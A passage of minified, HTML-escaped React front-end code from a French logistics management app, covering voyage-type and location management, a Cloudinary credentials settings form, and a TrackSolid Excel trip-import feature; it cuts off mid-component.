w-3&quot;})}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;h-8 px-2&quot;,onClick:()=&gt;Q(P,&quot;down&quot;),disabled:p||P===(w.steps?.length??0)-1,title:&quot;Déplacer vers le bas&quot;,children:a.jsx(sse,{className:&quot;h-3 w-3&quot;})})]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;_($),disabled:p,children:[a.jsx($m,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Éditer&quot;]}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;text-destructive hover:text-destructive&quot;,onClick:()=&gt;{$.id!==void 0&amp;&amp;$.id!==null?R($.id):l({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de supprimer : l&#039;étape n&#039;a pas d&#039;ID. Veuillez recharger la page.&quot;})},disabled:p||$.id===void 0||$.id===null,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]})]})},$.id?`step-${$.id}`:`step-temp-${P}`))}):a.jsx(it,{className:&quot;p-8 border-dashed&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-2&quot;,children:&quot;Créez d&#039;abord le type de voyage pour ajouter des étapes&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Les étapes peuvent être ajoutées après la création du type de voyage&quot;})]})})]})]}),a.jsxs(Na,{children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;t(!1),children:&quot;Annuler&quot;}),a.jsxs(ge,{type:&quot;submit&quot;,disabled:T,children:[T&amp;&amp;a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),r?&quot;Enregistrer les modifications&quot;:&quot;Créer le type de voyage&quot;]})]})]}),y&amp;&amp;a.jsx(bqe,{open:u,onOpenChange:$=&gt;{h($),$||d(null)},step:c,voyageTypeId:y.id,onSave:C,isCreating:!c})]})})}function R_({title:e,description:t,onConfirm:r,trigger:n,open:i,onOpenChange:s,isLoading:o=!1}){return i!==void 0&amp;&amp;s!==void 0?a.jsx(du,{open:i,onOpenChange:s,children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:e}),a.jsx(Cc,{children:t})]}),a.jsxs(wc,{children:[a.jsx(jc,{disabled:o,children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:r,disabled:o,children:o?&quot;Suppression...&quot;:&quot;Continuer&quot;})]})]})}):n?a.jsxs(du,{children:[a.jsx(Qfe,{asChild:!0,children:n}),a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:e}),a.jsx(Cc,{children:t})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:r,children:&quot;Continuer&quot;})]})]})]}):null}function Eqe(){const{data:e=[],isLoading:t,error:r}=D_(!1),n=Z$e(),[i,s]=I.useState(null),[o,l]=I.useState(!1),[c,d]=I.useState(null),u=p=&gt;{s(p),l(!0)},h=async p=&gt;{try{await n.mutateAsync(p),d(null)}catch{}};return t?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):r?a.jsx(it,{className:&quot;p-8 border-dashed&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-destructive font-medium mb-2&quot;,children:&quot;Erreur de chargement&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:r instanceof Error?r.message:&quot;Impossible de charger les types de voyages&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-2&quot;,children:&quot;Vérifiez votre connexion réseau et réessayez.&quot;})]})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex justify-between items-center&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[e.length,&quot; type&quot;,e.length&gt;1?&quot;s&quot;:&quot;&quot;,&quot; de voyage&quot;]}),a.jsxs(ge,{onClick:()=&gt;{s(null),l(!0)},children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter un type de voyage&quot;]})]}),e.length===0?a.jsx(it,{className:&quot;p-8 border-dashed&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-4&quot;,children:&quot;Aucun type de voyage défini&quot;}),a.jsxs(ge,{onClick:()=&gt;{s(null),l(!0)},children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Créer le premier type de voyage&quot;]})]})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:e.map(p=&gt;a.jsxs(it,{className:&quot;p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2 mb-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;font-semibold text-base truncate&quot;,children:p.name}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:[&quot;Code: &quot;,p.code]})]}),!p.isActive&amp;&amp;a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:&quot;Inactif&quot;})]}),p.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-3 line-clamp-2&quot;,children:p.description}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 mb-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 flex-wrap&quot;,children:[p.loadingType&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:p.loadingType}),p.defaultClientName&amp;&amp;a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:p.defaultClientName}),p.defaultCargo&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:p.defaultCargo})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4 text-xs text-muted-foreground&quot;,children:[p.expectedToursDefault&amp;&amp;a.jsxs(&quot;span&quot;,{children:[&quot;Tours: &quot;,p.expectedToursDefault]}),p.standardDurationDays&amp;&amp;a.jsxs(&quot;span&quot;,{children:[&quot;Durée: &quot;,p.standardDurationDays,&quot; jour&quot;,p.standardDurationDays&gt;1?&quot;s&quot;:&quot;&quot;]}),p.isRoundTrip!==!1&amp;&amp;a.jsx(&quot;span&quot;,{children:&quot;Aller-retour&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;flex-1&quot;,onClick:()=&gt;u(p),children:[a.jsx($m,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Modifier&quot;]}),a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;flex-1 text-destructive hover:text-destructive&quot;,onClick:()=&gt;d(p.id),children:[a.jsx(Ns,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Supprimer&quot;]})]})]},p.id))}),a.jsx(wqe,{open:o,onOpenChange:p=&gt;{l(p),p||s(null)},voyageType:i,onVoyageTypeCreated:p=&gt;{s(p)}}),a.jsx(R_,{open:c!==null,onOpenChange:p=&gt;d(p?c:null),onConfirm:()=&gt;c&amp;&amp;h(c),title:&quot;Supprimer le type de voyage&quot;,description:`Êtes-vous sûr de vouloir supprimer &quot;${e.find(p=&gt;p.id===c)?.name}&quot; ? Cette action est irréversible.`,isLoading:n.isPending})]})}const Cqe=[{value:&quot;factory&quot;,label:&quot;Usine&quot;,icon:&quot;🏭&quot;},{value:&quot;port&quot;,label:&quot;Port&quot;,icon:&quot;⚓&quot;},{value:&quot;border&quot;,label:&quot;Frontière&quot;,icon:&quot;🚧&quot;},{value:&quot;warehouse&quot;,label:&quot;Entrepôt&quot;,icon:&quot;🏢&quot;},{value:&quot;city&quot;,label:&quot;Ville&quot;,icon:&quot;🏙️&quot;}];function Iqe({open:e,onOpenChange:t,location:r}){const n=rHe(),i=nHe(),[s,o]=I.useState({name:&quot;&quot;,type:&quot;city&quot;,country:&quot;&quot;,latitude:void 0,longitude:void 0,imageUrl:void 0,isActive:!0});I.useEffect(()=&gt;{o(r?{name:r.name,type:r.type,country:r.country||&quot;&quot;,latitude:r.latitude||void 0,longitude:r.longitude||void 0,imageUrl:r.imageUrl||void 0,isActive:r.isActive}:{name:&quot;&quot;,type:&quot;city&quot;,country:&quot;&quot;,latitude:void 0,longitude:void 0,imageUrl:void 0,isActive:!0})},[r,e]);const l=async d=&gt;{if(d.preventDefault(),!(!s.name||!s.type))try{r?await i.mutateAsync({id:r.id,data:s}):await n.mutateAsync(s),t(!1)}catch{}},c=n.isPending||i.isPending;return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;max-w-2xl max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:r?&quot;Modifier le lieu&quot;:&quot;Créer un lieu&quot;}),a.jsx(Mn,{children:r?&quot;Modifiez les informations du lieu.&quot;:&quot;Créez un nouveau lieu qui pourra être utilisé lors de la création de missions.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:l,className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;name&quot;,children:[&quot;Nom &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;name&quot;,value:s.name,onChange:d=&gt;o(u=&gt;({...u,name:d.target.value})),placeholder:&quot;Ex: CIMFASO Ouagadougou&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;type&quot;,children:[&quot;Type &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:s.type,onValueChange:d=&gt;o(u=&gt;({...u,type:d})),children:[a.jsx(Xr,{children:a.jsx(nn,{placeholder:&quot;Sélectionner un type&quot;})}),a.jsx(en,{children:Cqe.map(d=&gt;a.jsx(Qt,{value:d.value,children:a.jsxs(&quot;span&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;span&quot;,{children:d.icon}),a.jsx(&quot;span&quot;,{children:d.label})]})},d.value))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;country&quot;,children:&quot;Pays&quot;}),a.jsx(Xe,{id:&quot;country&quot;,value:s.country||&quot;&quot;,onChange:d=&gt;o(u=&gt;({...u,country:d.target.value||void 0})),placeholder:&quot;Ex: Burkina Faso&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;latitude&quot;,children:&quot;Latitude&quot;}),a.jsx(Xe,{id:&quot;latitude&quot;,type:&quot;number&quot;,step:&quot;any&quot;,value:s.latitude||&quot;&quot;,onChange:d=&gt;o(u=&gt;({...u,latitude:d.target.value?parseFloat(d.target.value):void 0})),placeholder:&quot;Ex: 12.3657&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;longitude&quot;,children:&quot;Longitude&quot;}),a.jsx(Xe,{id:&quot;longitude&quot;,type:&quot;number&quot;,step:&quot;any&quot;,value:s.longitude||&quot;&quot;,onChange:d=&gt;o(u=&gt;({...u,longitude:d.target.value?parseFloat(d.target.value):void 0})),placeholder:&quot;Ex: -1.5339&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;imageUrl&quot;,children:&quot;URL de l&#039;image (optionnel)&quot;}),a.jsx(Xe,{id:&quot;imageUrl&quot;,value:s.imageUrl||&quot;&quot;,onChange:d=&gt;o(u=&gt;({...u,imageUrl:d.target.value||void 0})),placeholder:&quot;https://...&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center space-x-2&quot;,children:[a.jsx(S1,{id:&quot;isActive&quot;,checked:s.isActive,onCheckedChange:d=&gt;o(u=&gt;({...u,isActive:d}))}),a.jsx(Se,{htmlFor:&quot;isActive&quot;,className:&quot;cursor-pointer&quot;,children:&quot;Lieu actif (visible dans la liste)&quot;})]}),a.jsxs(Na,{children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;t(!1),children:&quot;Annuler&quot;}),a.jsxs(ge,{type:&quot;submit&quot;,disabled:c,children:[c&amp;&amp;a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),r?&quot;Modifier&quot;:&quot;Créer&quot;]})]})]})]})})}const jqe={factory:&quot;🏭&quot;,port:&quot;⚓&quot;,border:&quot;🚧&quot;,warehouse:&quot;🏢&quot;,city:&quot;🏙️&quot;},Nqe={factory:&quot;Usine&quot;,port:&quot;Port&quot;,border:&quot;Frontière&quot;,warehouse:&quot;Entrepôt&quot;,city:&quot;Ville&quot;};function Sqe(){const{data:e=[],isLoading:t}=OC(!1),r=iHe(),[n,i]=I.useState(null),[s,o]=I.useState(!1),[l,c]=I.useState(null),d=h=&gt;{i(h),o(!0)},u=async h=&gt;{try{await r.mutateAsync(h),c(null)}catch{}};return t?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex justify-between items-center&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[e.length,&quot; lieu&quot;,e.length&gt;1?&quot;x&quot;:&quot;&quot;]}),a.jsxs(ge,{onClick:()=&gt;{i(null),o(!0)},children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter un lieu&quot;]})]}),e.length===0?a.jsx(it,{className:&quot;p-8 border-dashed&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-4&quot;,children:&quot;Aucun lieu défini&quot;}),a.jsxs(ge,{onClick:()=&gt;{i(null),o(!0)},children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Créer le premier lieu&quot;]})]})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:e.map(h=&gt;a.jsxs(it,{className:&quot;p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 mb-3&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-3xl flex-shrink-0&quot;,children:jqe[h.type]||&quot;📍&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;font-semibold text-base truncate&quot;,children:h.name}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:Nqe[h.type]||h.type}),!h.isActive&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;Inactif&quot;})]}),h.country&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:h.country})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;flex-1&quot;,onClick:()=&gt;d(h),children:[a.jsx($m,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Modifier&quot;]}),a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;flex-1 text-destructive hover:text-destructive&quot;,onClick:()=&gt;c(h.id),children:[a.jsx(Ns,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Supprimer&quot;]})]})]},h.id))}),a.jsx(Iqe,{open:s,onOpenChange:h=&gt;{o(h),h||i(null)},location:n}),a.jsx(R_,{open:l!==null,onOpenChange:h=&gt;c(h?l:null),onConfirm:()=&gt;l&amp;&amp;u(l),title:&quot;Supprimer le lieu&quot;,description:`Êtes-vous sûr de vouloir supprimer &quot;${e.find(h=&gt;h.id===l)?.name}&quot; ? Cette action est irréversible.`,isLoading:r.isPending})]})}function Bqe(){const{data:e,isLoading:t,error:r}=WS(),n=lH(),{toast:i}=Er(),[s,o]=I.useState({cloudinaryCloudName:&quot;&quot;,cloudinaryApiKey:&quot;&quot;,cloudinaryApiSecret:&quot;&quot;}),[l,c]=I.useState({}),[d,u]=I.useState(!1),[h,p]=I.useState(null);I.useEffect(()=&gt;{e&amp;&amp;o({cloudinaryCloudName:e.cloudinaryCloudName||&quot;&quot;,cloudinaryApiKey:e.cloudinaryApiKey||&quot;&quot;,cloudinaryApiSecret:e.cloudinaryApiSecret||&quot;&quot;})},[e]);const A=(j,E)=&gt;{o(S=&gt;({...S,[j]:E})),l[j]&amp;&amp;c(S=&gt;({...S,[j]:void 0})),p(null)},y=()=&gt;{const j={};return s.cloudinaryCloudName.trim()||(j.cloudinaryCloudName=&quot;Le Cloud Name est obligatoire&quot;),s.cloudinaryApiKey.trim()||(j.cloudinaryApiKey=&quot;L&#039;API Key est obligatoire&quot;),s.cloudinaryApiSecret.trim()||(j.cloudinaryApiSecret=&quot;L&#039;API Secret est obligatoire&quot;),c(j),Object.keys(j).length===0},v=async()=&gt;{if(y()){u(!0),p(null);try{const j=await fetch(&quot;/api/cloudinary/test&quot;,{method:&quot;POST&quot;,headers:{&quot;Content-Type&quot;:&quot;application/json&quot;},body:JSON.stringify({cloudName:s.cloudinaryCloudName,apiKey:s.cloudinaryApiKey,apiSecret:s.cloudinaryApiSecret})});if(j.ok)p(&quot;success&quot;),i({title:&quot;Test réussi&quot;,description:&quot;La connexion à Cloudinary fonctionne correctement.&quot;});else{const E=await j.json();p(&quot;error&quot;),i({title:&quot;Test échoué&quot;,description:E.message||&quot;Impossible de se connecter à Cloudinary.&quot;,variant:&quot;destructive&quot;})}}catch{p(&quot;error&quot;),i({title:&quot;Erreur&quot;,description:&quot;Une erreur est survenue lors du test de connexion.&quot;,variant:&quot;destructive&quot;})}finally{u(!1)}}},w=async j=&gt;{if(j.preventDefault(),!y())return;const E={cloudinaryCloudName:s.cloudinaryCloudName.trim()||void 0,cloudinaryApiKey:s.cloudinaryApiKey.trim()||void 0,cloudinaryApiSecret:s.cloudinaryApiSecret.trim()||void 0};try{await n.mutateAsync(E),i({title:&quot;Configuration enregistrée&quot;,description:&quot;La configuration Cloudinary a été enregistrée avec succès.&quot;}),p(null)}catch(S){i({title:&quot;Erreur&quot;,description:S instanceof Error?S.message:&quot;Erreur lors de l&#039;enregistrement.&quot;,variant:&quot;destructive&quot;})}};return t?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center p-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-muted-foreground&quot;})}):r?a.jsx(&quot;div&quot;,{className:&quot;p-4 text-center text-destructive&quot;,children:&quot;Erreur lors du chargement de la configuration Cloudinary.&quot;}):a.jsx(&quot;form&quot;,{onSubmit:w,className:&quot;space-y-6&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(lv,{className:&quot;h-5 w-5&quot;}),&quot;Configuration Cloudinary&quot;]}),a.jsxs(wn,{children:[&quot;Configurez vos identifiants Cloudinary pour le stockage persistant des images et fichiers audio. Ces identifiants peuvent être obtenus depuis votre&quot;,&quot; &quot;,a.jsx(&quot;a&quot;,{href:&quot;https://cloudinary.com/console&quot;,target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,className:&quot;text-primary hover:underline&quot;,children:&quot;dashboard Cloudinary&quot;}),&quot;.&quot;]})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;cloudinaryCloudName&quot;,children:[&quot;Cloud Name &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;cloudinaryCloudName&quot;,type:&quot;text&quot;,value:s.cloudinaryCloudName,onChange:j=&gt;A(&quot;cloudinaryCloudName&quot;,j.target.value),placeholder:&quot;Ex: dxyz123456&quot;,className:l.cloudinaryCloudName?&quot;border-destructive&quot;:&quot;&quot;}),l.cloudinaryCloudName&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-destructive&quot;,children:l.cloudinaryCloudName}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Le Cloud Name se trouve dans votre dashboard Cloudinary (en haut à droite).&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;cloudinaryApiKey&quot;,children:[&quot;API Key &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;cloudinaryApiKey&quot;,type:&quot;text&quot;,value:s.cloudinaryApiKey,onChange:j=&gt;A(&quot;cloudinaryApiKey&quot;,j.target.value),placeholder:&quot;Ex: 123456789012345&quot;,className:l.cloudinaryApiKey?&quot;border-destructive&quot;:&quot;&quot;}),l.cloudinaryApiKey&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-destructive&quot;,children:l.cloudinaryApiKey}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;L&#039;API Key se trouve dans votre dashboard Cloudinary.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;cloudinaryApiSecret&quot;,children:[&quot;API Secret &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;cloudinaryApiSecret&quot;,type:&quot;password&quot;,value:s.cloudinaryApiSecret,onChange:j=&gt;A(&quot;cloudinaryApiSecret&quot;,j.target.value),placeholder:&quot;Ex: abcdefghijklmnopqrstuvwxyz123456&quot;,className:l.cloudinaryApiSecret?&quot;border-destructive&quot;:&quot;&quot;}),l.cloudinaryApiSecret&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-destructive&quot;,children:l.cloudinaryApiSecret}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;L&#039;API Secret se trouve dans votre dashboard Cloudinary. Gardez-le secret.&quot;})]}),h&amp;&amp;a.jsxs(&quot;div&quot;,{className:`flex items-center gap-2 p-3 rounded-md ${h===&quot;success&quot;?&quot;bg-green-50 text-green-800 dark:bg-green-900/20 dark:text-green-400&quot;:&quot;bg-red-50 text-red-800 dark:bg-red-900/20 dark:text-red-400&quot;}`,children:[h===&quot;success&quot;?a.jsx(na,{className:&quot;h-5 w-5&quot;}):a.jsx(U1,{className:&quot;h-5 w-5&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:h===&quot;success&quot;?&quot;Connexion à Cloudinary réussie&quot;:&quot;Échec de la connexion à Cloudinary&quot;})]}),!s.cloudinaryCloudName&amp;&amp;!s.cloudinaryApiKey&amp;&amp;!s.cloudinaryApiSecret&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-2 p-3 rounded-md bg-yellow-50 text-yellow-800 dark:bg-yellow-900/20 dark:text-yellow-400&quot;,children:[a.jsx(Kn,{className:&quot;h-5 w-5 mt-0.5&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;text-sm&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:&quot;Configuration requise&quot;}),a.jsx(&quot;p&quot;,{children:&quot;Les uploads d&#039;images et fichiers audio ne fonctionneront pas correctement sans configuration Cloudinary.&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:v,disabled:d||n.isPending,children:d?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;mr-2 h-4 w-4 animate-spin&quot;}),&quot;Test en cours...&quot;]}):&quot;Tester la connexion&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:n.isPending||d,children:n.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;mr-2 h-4 w-4 animate-spin&quot;}),&quot;Enregistrement...&quot;]}):&quot;Enregistrer&quot;})]})]})]})})}async function kqe(e){const t=new FormData;t.append(&quot;file&quot;,e);const r=await fetch(&quot;/api/tracksolid/import&quot;,{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();let i=`${r.status}: ${n||r.statusText}`;try{i=JSON.parse(n).message||i}catch{}throw new Error(i)}return await r.json()}async function _qe(e=50){return await $t(`/api/tracksolid/imports?limit=${e}`)}async function wne(e,t){const r=t?`/api/tracksolid/imports/${e}/trips?vehicleExternal=${encodeURIComponent(t)}`:`/api/tracksolid/imports/${e}/trips`;return await $t(r)}async function Dqe(e){return await $t(&quot;/api/tracksolid/vehicle-map&quot;,{method:&quot;POST&quot;,body:e})}async function Tqe(){return await $t(&quot;/api/tracksolid/vehicle-maps&quot;)}function Rqe(){const{toast:e}=Er();return _r({mutationFn:kqe,onSuccess:t=&gt;{e({title:&quot;Import réussi&quot;,description:`${t.stats.tripCount} trajets détectés dans ${t.stats.sheetCount} feuille(s)`}),jt.invalidateQueries({queryKey:[&quot;/api/tracksolid/imports&quot;]})},onError:t=&gt;{e({title:&quot;Erreur lors de l&#039;import&quot;,description:t.message,variant:&quot;destructive&quot;})}})}function Ene(e=50){return cr({queryKey:[&quot;/api/tracksolid/imports&quot;,e],queryFn:()=&gt;_qe(e)})}function Pqe(e,t){return cr({queryKey:[&quot;/api/tracksolid/imports&quot;,e,&quot;trips&quot;,t],queryFn:()=&gt;wne(e,t),enabled:!!e})}function Qqe(){return cr({queryKey:[&quot;/api/tracksolid/vehicle-maps&quot;],queryFn:Tqe})}function Fqe(){const{toast:e}=Er();return _r({mutationFn:Dqe,onSuccess:()=&gt;{e({title:&quot;Mapping enregistré&quot;,description:&quot;Le mapping véhicule a été enregistré avec succès&quot;}),jt.invalidateQueries({queryKey:[&quot;/api/tracksolid/vehicle-maps&quot;]})},onError:t=&gt;{e({title:&quot;Erreur&quot;,description:t.message,variant:&quot;destructive&quot;})}})}function Oqe(){const[e,t]=I.useState(!1),[r,n]=I.useState(null),i=Rqe(),{toast:s}=Er(),o=I.useCallback(h=&gt;{h.preventDefault(),h.stopPropagation(),h.type===&quot;dragenter&quot;||h.type===&quot;dragover&quot;?t(!0):h.type===&quot;dragleave&quot;&amp;&amp;t(!1)},[]),l=I.useCallback(h=&gt;{if(h.preventDefault(),h.stopPropagation(),t(!1),h.dataTransfer.files&amp;&amp;h.dataTransfer.files[0]){const p=h.dataTransfer.files[0];p.name.endsWith(&quot;.xls&quot;)||p.name.endsWith(&quot;.xlsx&quot;)?n(p):s({title:&quot;Format invalide&quot;,description:&quot;Seuls les fichiers .xls et .xlsx sont acceptés&quot;,variant:&quot;destructive&quot;})}},[s]),c=I.useCallback(h=&gt;{if(h.target.files&amp;&amp;h.target.files[0]){const p=h.target.files[0];p.name.endsWith(&quot;.xls&quot;)||p.name.endsWith(&quot;.xlsx&quot;)?n(p):s({title:&quot;Format invalide&quot;,description:&quot;Seuls les fichiers .xls et .xlsx sont acceptés&quot;,variant:&quot;destructive&quot;})}},[s]),d=async()=&gt;{if(r)try{const h=await i.mutateAsync(r);n(null)}catch{}},u=()=&gt;{n(null)};return a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Importer un rapport XLS TrackSolid&quot;}),a.jsx(wn,{children:&quot;Importez un fichier Excel exporté depuis TrackSolidPro. Le fichier sera analysé et les trajets seront extraits automatiquement.&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[r?a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 p-4 border rounded-lg&quot;,children:[a.jsx(Z3,{className:&quot;h-8 w-8 